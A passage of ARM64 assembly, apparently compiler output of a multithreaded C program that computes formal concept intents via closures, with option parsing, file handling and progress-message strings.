ldr x0, [sp, #88] ldur x1, [x29, #-80] ldur w2, [x29, #-44] ldur w8, [x29, #-48] subs w3, w8, #1 ldur w8, [x29, #-52] add w4, w8, #1 ldur w5, [x29, #-56] bl _parallel_generate_from_node b LBB11_28 LBB11_28: ; in Loop: Header=BB11_7 Depth=2 b LBB11_29 LBB11_29: ; in Loop: Header=BB11_7 Depth=2 b LBB11_30 LBB11_30: ; in Loop: Header=BB11_7 Depth=2 ldur w8, [x29, #-48] subs w8, w8, #1 stur w8, [x29, #-48] b LBB11_7 LBB11_31: ; in Loop: Header=BB11_5 Depth=1 mov w8, #63 stur w8, [x29, #-48] b LBB11_32 LBB11_32: ; in Loop: Header=BB11_5 Depth=1 ldur w8, [x29, #-44] add w8, w8, #1 stur w8, [x29, #-44] b LBB11_5 LBB11_33: b LBB11_34 LBB11_34: ldur w8, [x29, #-52] subs w8, w8, #0 cset w8, ne tbnz w8, #0, LBB11_45 b LBB11_35 LBB11_35: ldr x8, [sp, #48] ; 8-byte Folded Reload adrp x9, _para_level@PAGE ldr w0, [x9, _para_level@PAGEOFF] ldr x8, [x8] adrp x9, _parallel_generate_from_node.num@PAGE ldr w3, [x9, _parallel_generate_from_node.num@PAGEOFF] ldr x9, [x8] stur x9, [x29, #-24] ldr w8, [x8, #8] stur w8, [x29, #-16] ldur x1, [x29, #-24] ldur x2, [x29, #-16] bl _print_initial_thread_info ldr x8, [sp, #48] ; 8-byte Folded Reload ldr x9, [x8] ldr x11, [x9] adrp x10, _initial_thr_stat@GOTPAGE ldr x10, [x10, _initial_thr_stat@GOTPAGEOFF] str x11, [x10] ldr w9, [x9, #8] str w9, [x10, #8] ldr x9, [x8] str wzr, [x9] ldr x8, [x8] str wzr, [x8, #4] mov w8, #1 stur w8, [x29, #-60] b LBB11_36 LBB11_36: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-60] adrp x9, _threads@GOTPAGE ldr x9, [x9, _threads@GOTPAGEOFF] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB11_41 b LBB11_37 LBB11_37: ; in Loop: Header=BB11_36 Depth=1 ldr x9, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x8, [x8] ldursw x10, [x29, #-60] ldr x8, [x8, x10, lsl #3] ldr x9, [x9] ldursw x10, [x29, #-60] ldr x9, [x9, x10, lsl #3] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB11_39 b LBB11_38 LBB11_38: ; in Loop: Header=BB11_36 Depth=1 adrp x8, _thread_id@GOTPAGE ldr x8, [x8, _thread_id@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-60] add x0, x8, x9, lsl #3 adrp x8, _thread_i@GOTPAGE ldr x8, [x8, _thread_i@GOTPAGEOFF] ldr x8, [x8] ldursw x9, [x29, #-60] add x3, x8, x9, lsl #2 mov x1, #0 adrp x2, _thread_func@PAGE add x2, x2, _thread_func@PAGEOFF bl _pthread_create b LBB11_39 LBB11_39: ; in Loop: Header=BB11_36 Depth=1 b LBB11_40 LBB11_40: ; in Loop: Header=BB11_36 Depth=1 ldur w8, [x29, #-60] add w8, w8, #1 stur w8, [x29, #-60] b LBB11_36 LBB11_41: b LBB11_42 LBB11_42: ; =>This Inner Loop Header: Depth=1 ldr x9, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x8, [x8] ldursw x10, [x29, #-56] ldr x8, [x8, x10, lsl #3] ldr x9, [x9] ldursw x10, [x29, #-56] ldr x9, [x9, x10, lsl #3] subs x8, x8, x9 cset w8, hs tbnz w8, #0, LBB11_44 b LBB11_43 LBB11_43: ; in Loop: Header=BB11_42 Depth=1 ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #72] ; 8-byte Folded Reload ldr x9, [x9] ldursw x10, [x29, #-56] ldr x0, [x9, x10, lsl #3] ldr x8, [x8] ldursw x9, [x29, #-56] ldr x1, [x8, x9, lsl #3] adrp x8, _int_count_a@PAGE str x8, [sp, #16] ; 8-byte Folded Spill ldrsw x8, [x8, _int_count_a@PAGEOFF] mov x9, #8 str x9, [sp, #8] ; 8-byte Folded Spill mul x8, x9, x8 adrp x10, _int_count_o@PAGE str x10, [sp] ; 8-byte Folded Spill ldrsw x10, [x10, _int_count_o@PAGEOFF] mul x9, x9, x10 add x2, x8, x9 mov x3, #-1 bl ___memcpy_chk ldr x13, [sp] ; 8-byte Folded Reload ldr x12, [sp, #8] ; 8-byte Folded Reload ldr x9, [sp, #72] ; 8-byte Folded Reload ldr x10, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldrsw x11, [x10, _int_count_a@PAGEOFF] mul x11, x12, x11 ldrsw x13, [x13, _int_count_o@PAGEOFF] mul x12, x12, x13 add x13, x11, x12 ldr x11, [x8] ldursw x12, [x29, #-56] add x12, x11, x12, lsl #3 ldr x11, [x12] add x11, x11, x13 str x11, [x12] ldr x11, [x9] ldursw x12, [x29, #-56] ldr x0, [x11, x12, lsl #3] ldr x9, [x9] ldursw x11, [x29, #-56] ldr x9, [x9, x11, lsl #3] ldrsw x10, [x10, _int_count_a@PAGEOFF] add x1, x9, x10, lsl #3 ldr x9, [x8] ldursw x10, [x29, #-56] ldr x9, [x9, x10, lsl #3] ldr w2, [x9] ldr x8, [x8] ldursw x9, [x29, #-56] ldr x8, [x8, x9, lsl #3] ldr w3, [x8, #4] ldur w4, [x29, #-56] bl _generate_from_node ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-56] add x9, x8, x9, lsl #3 ldr x8, [x9] add x8, x8, #8 str x8, [x9] b LBB11_42 LBB11_44: b LBB11_45 LBB11_45: b LBB11_46 LBB11_46: ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB11_48 b LBB11_47 LBB11_47: bl ___stack_chk_fail LBB11_48: ldp x29, x30, [sp, #176] ; 16-byte Folded Reload add sp, sp, #192 ret .cfi_endproc ; -- End function .globl _find_all_intents ; -- Begin function find_all_intents .p2align 2 _find_all_intents: ; @find_all_intents .cfi_startproc ; %bb.0: sub sp, sp, #192 .cfi_def_cfa_offset 192 stp x29, x30, [sp, #176] ; 16-byte Folded Spill add x29, sp, #176 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _threads@GOTPAGE ldr x8, [x8, _threads@GOTPAGEOFF] str x8, [sp, #64] ; 8-byte Folded Spill adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] str x8, [sp, #72] ; 8-byte Folded Spill adrp x8, _counts@GOTPAGE ldr x8, [x8, _counts@GOTPAGEOFF] str x8, [sp, #80] ; 8-byte Folded Spill adrp x8, _thread_id@GOTPAGE ldr x8, [x8, _thread_id@GOTPAGEOFF] str x8, [sp, #88] ; 8-byte Folded Spill adrp x8, _thread_queue_head@GOTPAGE ldr x8, [x8, _thread_queue_head@GOTPAGEOFF] stur x8, [x29, #-80] ; 8-byte Folded Spill adrp x8, _thread_intents@GOTPAGE ldr x8, [x8, _thread_intents@GOTPAGEOFF] stur x8, [x29, #-72] ; 8-byte Folded Spill adrp x8, _initial_thr_stat@GOTPAGE ldr x8, [x8, _initial_thr_stat@GOTPAGEOFF] stur x8, [x29, #-64] ; 8-byte Folded Spill adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] adrp x8, _para_level@PAGE ldr w8, [x8, _para_level@PAGEOFF] subs w8, w8, #0 cset w8, gt tbnz w8, #0, LBB12_2 b LBB12_1 LBB12_1: mov w8, #1 adrp x9, _para_level@PAGE str w8, [x9, _para_level@PAGEOFF] b LBB12_2 LBB12_2: adrp x8, _para_level@PAGE ldr w8, [x8, _para_level@PAGEOFF] adrp x9, _attributes@PAGE ldr w9, [x9, _attributes@PAGEOFF] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB12_4 b LBB12_3 LBB12_3: adrp x8, _attributes@PAGE ldr w8, [x8, _attributes@PAGEOFF] adrp x9, _para_level@PAGE str w8, [x9, _para_level@PAGEOFF] b LBB12_4 LBB12_4: ldr x8, [sp, #64] ; 8-byte Folded Reload adrp x9, _cpus@PAGE ldr w9, [x9, _cpus@PAGEOFF] str w9, [x8] ldr w8, [x8] subs w8, w8, #0 cset w8, gt tbnz w8, #0, LBB12_6 b LBB12_5 LBB12_5: ldr x9, [sp, #64] ; 8-byte Folded Reload mov w8, #1 str w8, [x9] b LBB12_6 LBB12_6: adrp x8, _verbosity_level@PAGE ldr w8, [x8, _verbosity_level@PAGEOFF] subs w8, w8, #3 cset w8, lt tbnz w8, #0, LBB12_8 b LBB12_7 LBB12_7: ldr x8, [sp, #64] ; 8-byte Folded Reload ldr x9, [sp, #72] ; 8-byte Folded Reload ldr x0, [x9] ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.8@PAGE add x1, x1, l_.str.8@PAGEOFF bl _fprintf b LBB12_8 LBB12_8: ldr x8, [sp, #64] ; 8-byte Folded Reload ldrsw x0, [x8] mov x1, #12 bl _calloc ldr x9, [sp, #80] ; 8-byte Folded Reload ldr x8, [sp, #64] ; 8-byte Folded Reload str x0, [x9] ldrsw x9, [x8] mov x8, #8 str x8, [sp, #56] ; 8-byte Folded Spill mul x0, x8, x9 bl _malloc ldr x10, [sp, #88] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload str x0, [x10] ldr x0, [x10] ldrsw x9, [x9] mul x2, x8, x9 mov w1, #0 mov x3, #-1 bl ___memset_chk ldr x8, [sp, #64] ; 8-byte Folded Reload ldrsw x9, [x8] mov x8, #4 mul x0, x8, x9 bl _malloc ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload adrp x10, _thread_i@GOTPAGE ldr x10, [x10, _thread_i@GOTPAGEOFF] str x0, [x10] ldrsw x9, [x9] mul x0, x8, x9 bl _malloc ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload adrp x10, _thread_queue@GOTPAGE ldr x10, [x10, _thread_queue@GOTPAGEOFF] str x0, [x10] ldrsw x9, [x9] mul x0, x8, x9 bl _malloc ldur x10, [x29, #-80] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload str x0, [x10] ldrsw x9, [x9] mul x0, x8, x9 bl _malloc ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x9, [sp, #64] ; 8-byte Folded Reload adrp x10, _thread_queue_limit@GOTPAGE ldr x10, [x10, _thread_queue_limit@GOTPAGEOFF] str x0, [x10] ldrsw x9, [x9] mul x0, x8, x9 bl _malloc ldur x8, [x29, #-72] ; 8-byte Folded Reload ldr x10, [sp, #64] ; 8-byte Folded Reload str x0, [x8] adrp x8, _attributes@PAGE ldr w9, [x8, _attributes@PAGEOFF] stur w9, [x29, #-48] ldur w9, [x29, #-48] ldr w10, [x10] sdiv w9, w9, w10 add w9, w9, #1 stur w9, [x29, #-48] ldr w8, [x8, _attributes@PAGEOFF] adrp x9, _para_level@PAGE ldr w9, [x9, _para_level@PAGEOFF] subs w8, w8, w9 add w8, w8, #1 stur w8, [x29, #-52] stur wzr, [x29, #-44] b LBB12_9 LBB12_9: ; =>This Inner Loop Header: Depth=1 ldr x9, [sp, #64] ; 8-byte Folded Reload ldur w8, [x29, #-44] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB12_12 b LBB12_10 LBB12_10: ; in Loop: Header=BB12_9 Depth=1 ldur w8, [x29, #-44] adrp x9, _thread_i@GOTPAGE ldr x9, [x9, _thread_i@GOTPAGEOFF] ldr x9, [x9] ldursw x10, [x29, #-44] str w8, [x9, x10, lsl #2] adrp x8, _int_count_a@PAGE str x8, [sp, #32] ; 8-byte Folded Spill ldrsw x8, [x8, _int_count_a@PAGEOFF] mov x9, #8 str x9, [sp, #48] ; 8-byte Folded Spill mul x8, x9, x8 adrp x10, _int_count_o@PAGE str x10, [sp, #40] ; 8-byte Folded Spill ldrsw x10, [x10, _int_count_o@PAGEOFF] mul x9, x9, x10 add x8, x8, x9 add x8, x8, #8 ldursw x9, [x29, #-48] mul x0, x8, x9 bl _malloc ldur x11, [x29, #-80] ; 8-byte Folded Reload ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x10, [sp, #40] ; 8-byte Folded Reload ldr x9, [sp, #48] ; 8-byte Folded Reload adrp x12, _thread_queue@GOTPAGE ldr x12, [x12, _thread_queue@GOTPAGEOFF] ldr x13, [x12] ldursw x14, [x29, #-44] mov x12, x0 str x12, [x13, x14, lsl #3] ldr x12, [x11] ldursw x13, [x29, #-44] str x0, [x12, x13, lsl #3] ldr x11, [x11] ldursw x12, [x29, #-44] ldr x11, [x11, x12, lsl #3] ldrsw x12, [x8, _int_count_a@PAGEOFF] mul x12, x9, x12 ldrsw x13, [x10, _int_count_o@PAGEOFF] mul x13, x9, x13 add x12, x12, x13 add x12, x12, #8 ldursw x13, [x29, #-48] mul x12, x12, x13 add x11, x11, x12 adrp x12, _thread_queue_limit@GOTPAGE ldr x12, [x12, _thread_queue_limit@GOTPAGEOFF] ldr x12, [x12] ldursw x13, [x29, #-44] str x11, [x12, x13, lsl #3] ldrsw x8, [x8, _int_count_a@PAGEOFF] mul x8, x9, x8 ldrsw x10, [x10, _int_count_o@PAGEOFF] mul x9, x9, x10 add x8, x8, x9 ldursw x9, [x29, #-52] mul x0, x8, x9 bl _malloc ldur x8, [x29, #-72] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-44] str x0, [x8, x9, lsl #3] b LBB12_11 LBB12_11: ; in Loop: Header=BB12_9 Depth=1 ldur w8, [x29, #-44] add w8, w8, #1 stur w8, [x29, #-44] b LBB12_9 LBB12_12: ldur x8, [x29, #-72] ; 8-byte Folded Reload ldr x9, [x8] ldr x0, [x9] ldr x8, [x8] ldr x8, [x8] adrp x9, _int_count_a@PAGE str x9, [sp, #24] ; 8-byte Folded Spill ldrsw x9, [x9, _int_count_a@PAGEOFF] add x1, x8, x9, lsl #3 mov x4, #0 mov x2, x4 mov x3, x4 bl _compute_closure ldr x9, [sp, #80] ; 8-byte Folded Reload ldur x8, [x29, #-72] ; 8-byte Folded Reload ldr x11, [x9] ldr w10, [x11] add w10, w10, #1 str w10, [x11] ldr x10, [x9] ldr w9, [x10, #4] add w9, w9, #1 str w9, [x10, #4] ldr x8, [x8] ldr x0, [x8] bl _print_attributes ldur x8, [x29, #-72] ; 8-byte Folded Reload ldr x9, [sp, #24] ; 8-byte Folded Reload ldr x8, [x8] ldr x8, [x8] ldr w9, [x9, _int_count_a@PAGEOFF] subs w9, w9, #1 ldr x8, [x8, w9, sxtw #3] ands x8, x8, #0x1 cset w8, eq tbnz w8, #0, LBB12_14 b LBB12_13 LBB12_13: b LBB12_24 LBB12_14: ldur x8, [x29, #-72] ; 8-byte Folded Reload ldr x9, [x8] ldr x0, [x9] ldr x8, [x8] ldr x8, [x8] adrp x9, _int_count_a@PAGE ldrsw x9, [x9, _int_count_a@PAGEOFF] add x1, x8, x9, lsl #3 mov w5, #0 mov x2, x5 mov w3, #63 mov x4, x5 bl _parallel_generate_from_node ldr x8, [sp, #80] ; 8-byte Folded Reload ldr x8, [x8] ldr x9, [x8] stur x9, [x29, #-24] ldr w8, [x8, #8] stur w8, [x29, #-16] ldur x1, [x29, #-24] ldur x2, [x29, #-16] mov w0, #1 str w0, [sp, #20] ; 4-byte Folded Spill bl _print_thread_info ldr w8, [sp, #20] ; 4-byte Folded Reload stur w8, [x29, #-44] b LBB12_15 LBB12_15: ; =>This Inner Loop Header: Depth=1 ldr x9, [sp, #64] ; 8-byte Folded Reload ldur w8, [x29, #-44] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB12_20 b LBB12_16 LBB12_16: ; in Loop: Header=BB12_15 Depth=1 ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-44] ldr x8, [x8, x9, lsl #3] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB12_18 b LBB12_17 LBB12_17: ; in Loop: Header=BB12_15 Depth=1 ldr x8, [sp, #88] ; 8-byte Folded Reload ldr x8, [x8] ldursw x9, [x29, #-44] ldr x0, [x8, x9, lsl #3] mov x1, #0 bl _pthread_join b LBB12_18 LBB12_18: ; in Loop: Header=BB12_15 Depth=1 ldr x8, [sp, #80] ; 8-byte Folded Reload ldur w9, [x29, #-44] add w0, w9, #1 ldr x8, [x8] ldursw x9, [x29, #-44] mov x10, #12 str x10, [sp, #8] ; 8-byte Folded Spill mul x9, x9, x10 add x8, x8, x9 ldr x9, [x8] stur x9, [x29, #-40] ldr w8, [x8, #8] stur w8, [x29, #-32] ldur x1, [x29, #-40] ldur x2, [x29, #-32] bl _print_thread_info ldr x11, [sp, #8] ; 8-byte Folded Reload ldr x8, [sp, #80] ; 8-byte Folded Reload ldr x9, [x8] ldursw x10, [x29, #-44] mul x10, x10, x11 add x9, x9, x10 ldr w12, [x9, #4] ldr x10, [x8] ldr w9, [x10, #4] add w9, w9, w12 str w9, [x10, #4] ldr x9, [x8] ldursw x10, [x29, #-44] mul x10, x10, x11 ldr w10, [x9, x10] ldr x9, [x8] ldr w8, [x9] add w8, w8, w10 str w8, [x9] b LBB12_19 LBB12_19: ; in Loop: Header=BB12_15 Depth=1 ldur w8, [x29, #-44] add w8, w8, #1 stur w8, [x29, #-44] b LBB12_15 LBB12_20: ldr x8, [sp, #80] ; 8-byte Folded Reload ldur x9, [x29, #-64] ; 8-byte Folded Reload ldr w11, [x9, #4] ldr x10, [x8] ldr w9, [x10, #4] add w9, w9, w11 str w9, [x10, #4] adrp x9, _initial_thr_stat@GOTPAGE ldr x9, [x9, _initial_thr_stat@GOTPAGEOFF] ldr w10, [x9] ldr x9, [x8] ldr w8, [x9] add w8, w8, w10 str w8, [x9] adrp x8, _verbosity_level@PAGE ldr w8, [x8, _verbosity_level@PAGEOFF] subs w8, w8, #3 cset w8, lt tbnz w8, #0, LBB12_22 b LBB12_21 LBB12_21: ldr x8, [sp, #80] ; 8-byte Folded Reload ldr x9, [sp, #72] ; 8-byte Folded Reload ldr x0, [x9] ldr x8, [x8] ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.9@PAGE add x1, x1, l_.str.9@PAGEOFF bl _fprintf b LBB12_22 LBB12_22: adrp x8, _verbosity_level@PAGE ldr w8, [x8, _verbosity_level@PAGEOFF] subs w8, w8, #3 cset w8, lt tbnz w8, #0, LBB12_24 b LBB12_23 LBB12_23: ldr x8, [sp, #80] ; 8-byte Folded Reload ldr x9, [sp, #72] ; 8-byte Folded Reload ldr x0, [x9] ldr x8, [x8] ldr w9, [x8, #4] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str.10@PAGE add x1, x1, l_.str.10@PAGEOFF bl _fprintf b LBB12_24 LBB12_24: ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB12_26 b LBB12_25 LBB12_25: bl ___stack_chk_fail LBB12_26: ldp x29, x30, [sp, #176] ; 16-byte Folded Reload add sp, sp, #192 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x10, _in_file@GOTPAGE ldr x10, [x10, _in_file@GOTPAGEOFF] str x10, [sp, #24] ; 8-byte Folded Spill adrp x9, _out_file@GOTPAGE ldr x9, [x9, _out_file@GOTPAGEOFF] str x9, [sp, #32] ; 8-byte Folded Spill stur wzr, [x29, #-4] stur w0, [x29, #-8] stur x1, [x29, #-16] adrp x8, ___stdinp@GOTPAGE ldr x8, [x8, ___stdinp@GOTPAGEOFF] ldr x8, [x8] str x8, [x10] adrp x8, ___stdoutp@GOTPAGE ldr x8, [x8, ___stdoutp@GOTPAGEOFF] ldr x8, [x8] str x8, [x9] ldur w8, [x29, #-8] subs w8, w8, #1 cset w8, le tbnz w8, #0, LBB13_22 b LBB13_1 LBB13_1: mov w8, #1 stur w8, [x29, #-20] b LBB13_2 LBB13_2: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-20] ldur w9, [x29, #-8] subs w8, w8, w9 cset w8, ge mov w9, #0 str w9, [sp, #20] ; 4-byte Folded Spill tbnz w8, #0, LBB13_5 b LBB13_3 LBB13_3: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] ldrsb w8, [x8] subs w8, w8, #45 cset w8, ne mov w9, #0 str w9, [sp, #20] ; 4-byte Folded Spill tbnz w8, #0, LBB13_5 b LBB13_4 LBB13_4: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] ldrsb w8, [x8, #1] subs w8, w8, #0 cset w8, ne str w8, [sp, #20] ; 4-byte Folded Spill b LBB13_5 LBB13_5: ; in Loop: Header=BB13_2 Depth=1 ldr w8, [sp, #20] ; 4-byte Folded Reload tbz w8, #0, LBB13_15 b LBB13_6 LBB13_6: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] ldrsb w8, [x8, #1] subs w8, w8, #76 ; kill: def $x8 killed $w8 str x8, [sp, #8] ; 8-byte Folded Spill subs x8, x8, #10 cset w8, hi tbnz w8, #0, LBB13_12 ; %bb.7: ; in Loop: Header=BB13_2 Depth=1 ldr x11, [sp, #8] ; 8-byte Folded Reload adrp x10, lJTI13_0@PAGE add x10, x10, lJTI13_0@PAGEOFF Ltmp0: adr x8, Ltmp0 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB13_8: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] add x0, x8, #2 bl _atoi adrp x8, _min_support@PAGE str w0, [x8, _min_support@PAGEOFF] b LBB13_13 LBB13_9: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] add x0, x8, #2 bl _atoi adrp x8, _cpus@PAGE str w0, [x8, _cpus@PAGEOFF] b LBB13_13 LBB13_10: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] add x0, x8, #2 bl _atoi subs w8, w0, #1 adrp x9, _para_level@PAGE str w8, [x9, _para_level@PAGEOFF] b LBB13_13 LBB13_11: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] add x0, x8, #2 bl _atoi adrp x8, _verbosity_level@PAGE str w0, [x8, _verbosity_level@PAGEOFF] b LBB13_13 LBB13_12: ; in Loop: Header=BB13_2 Depth=1 ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] add x0, x8, #1 bl _atoi adrp x8, _attr_offset@PAGE str w0, [x8, _attr_offset@PAGEOFF] b LBB13_13 LBB13_13: ; in Loop: Header=BB13_2 Depth=1 b LBB13_14 LBB13_14: ; in Loop: Header=BB13_2 Depth=1 ldur w8, [x29, #-20] add w8, w8, #1 stur w8, [x29, #-20] b LBB13_2 LBB13_15: ldur w8, [x29, #-8] ldur w9, [x29, #-20] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB13_18 b LBB13_16 LBB13_16: ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x8, [x8, x9, lsl #3] ldrsb w8, [x8] subs w8, w8, #45 cset w8, eq tbnz w8, #0, LBB13_18 b LBB13_17 LBB13_17: ldur x8, [x29, #-16] ldursw x9, [x29, #-20] ldr x0, [x8, x9, lsl #3] adrp x1, l_.str.11@PAGE add x1, x1, l_.str.11@PAGEOFF bl _fopen ldr x8, [sp, #24] ; 8-byte Folded Reload str x0, [x8] b LBB13_18 LBB13_18: ldur w8, [x29, #-8] ldur w9, [x29, #-20] add w9, w9, #1 subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB13_21 b LBB13_19 LBB13_19: ldur x8, [x29, #-16] ldur w9, [x29, #-20] add w9, w9, #1 ldr x8, [x8, w9, sxtw #3] ldrsb w8, [x8] subs w8, w8, #45 cset w8, eq tbnz w8, #0, LBB13_21 b LBB13_20 LBB13_20: ldur x8, [x29, #-16] ldur w9, [x29, #-20] add w9, w9, #1 ldr x0, [x8, w9, sxtw #3] adrp x1, l_.str.12@PAGE add x1, x1, l_.str.12@PAGEOFF bl _fopen ldr x8, [sp, #32] ; 8-byte Folded Reload str x0, [x8] b LBB13_21 LBB13_21: b LBB13_22 LBB13_22: ldr x8, [sp, #24] ; 8-byte Folded Reload ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB13_24 b LBB13_23 LBB13_23: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldur x8, [x29, #-16] ldr x8, [x8] mov x9, sp str x8, [x9] adrp x1, l_.str.13@PAGE add x1, x1, l_.str.13@PAGEOFF bl _fprintf mov w8, #1 stur w8, [x29, #-4] b LBB13_27 LBB13_24: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB13_26 b LBB13_25 LBB13_25: adrp x8, ___stderrp@GOTPAGE ldr x8, [x8, ___stderrp@GOTPAGEOFF] ldr x0, [x8] ldur x8, [x29, #-16] ldr x8, [x8] mov x9, sp str x8, [x9] adrp x1, l_.str.14@PAGE add x1, x1, l_.str.14@PAGEOFF bl _fprintf mov w8, #2 stur w8, [x29, #-4] b LBB13_27 LBB13_26: ldr x8, [sp, #24] ; 8-byte Folded Reload ldr x0, [x8] bl _read_context ldr x8, [sp, #24] ; 8-byte Folded Reload ldr x0, [x8] bl _fclose bl _print_context_info bl _initialize_algorithm bl _find_all_intents ldr x8, [sp, #32] ; 8-byte Folded Reload ldr x0, [x8] bl _fclose stur wzr, [x29, #-4] b LBB13_27 LBB13_27: ldur w0, [x29, #-4] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc .p2align 2 lJTI13_0: .long LBB13_10-Ltmp0 .long LBB13_12-Ltmp0 .long LBB13_12-Ltmp0 .long LBB13_12-Ltmp0 .long LBB13_9-Ltmp0 .long LBB13_12-Ltmp0 .long LBB13_12-Ltmp0 .long LBB13_8-Ltmp0 .long LBB13_12-Ltmp0 .long LBB13_12-Ltmp0 .long LBB13_11-Ltmp0 ; -- End function .globl _attributes ; @attributes .zerofill __DATA,__common,_attributes,4,2 .globl _objects ; @objects .zerofill __DATA,__common,_objects,4,2 .globl _int_count_a ; @int_count_a .zerofill __DATA,__common,_int_count_a,4,2 .globl _int_count_o ; @int_count_o .zerofill __DATA,__common,_int_count_o,4,2 .globl _table_entries ; @table_entries .zerofill __DATA,__common,_table_entries,4,2 .globl _min_support ; @min_support .zerofill __DATA,__common,_min_support,4,2 .globl _attr_offset ; @attr_offset .zerofill __DATA,__common,_attr_offset,4,2 .section __DATA,__data .globl _cpus ; @cpus .p2align 2 _cpus: .long 1 ; 0x1 .globl _para_level ; @para_level .p2align 2 _para_level: .long 2 ; 0x2 .globl _verbosity_level ; @verbosity_level .p2align 2 _verbosity_level: .long 1 ; 0x1 .globl _output_lock ; @output_lock .p2align 3 _output_lock: .quad 850045863 ; 0x32aaaba7 .space 56 .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Invalid input value: %i (minimum value is %i), quitting.\n" .comm _table_of_ints,8,3 ; @table_of_ints l_.str.1: ; @.str.1 .asciz "%i" l_.str.2: ; @.str.2 .asciz "Cannot allocate buffer, quitting.\n" l_.str.3: ; @.str.3 .asciz "Cannot reallocate buffer, quitting.\n" .comm _context,8,3 ; @context l_.str.4: ; @.str.4 .asciz "Cannot allocate bitcontext, quitting.\n" .comm _out_file,8,3 ; @out_file l_.str.5: ; @.str.5 .asciz "(:objects %6i :attributes %4i :entries %8i)\n" l_.str.6: ; @.str.6 .asciz "(:proc %3i :closures %7i :computed %7i :queue-length %3i)\n" l_.str.7: ; @.str.7 .asciz "(:proc %3i :closures %7i :computed %7i :levels %i :last-level-concepts %i)\n" .comm _upto_bit,512,3 ; @upto_bit .comm _cols,8,3 ; @cols .comm _supps,8,3 ; @supps .comm _counts,8,3 ; @counts .comm _thread_queue_head,8,3 ; @thread_queue_head .comm _thread_queue,8,3 ; @thread_queue .comm _thread_intents,8,3 ; @thread_intents .zerofill __DATA,__bss,_parallel_generate_from_node.num,4,2 ; @parallel_generate_from_node.num .comm _threads,4,2 ; @threads .comm _thread_queue_limit,8,3 ; 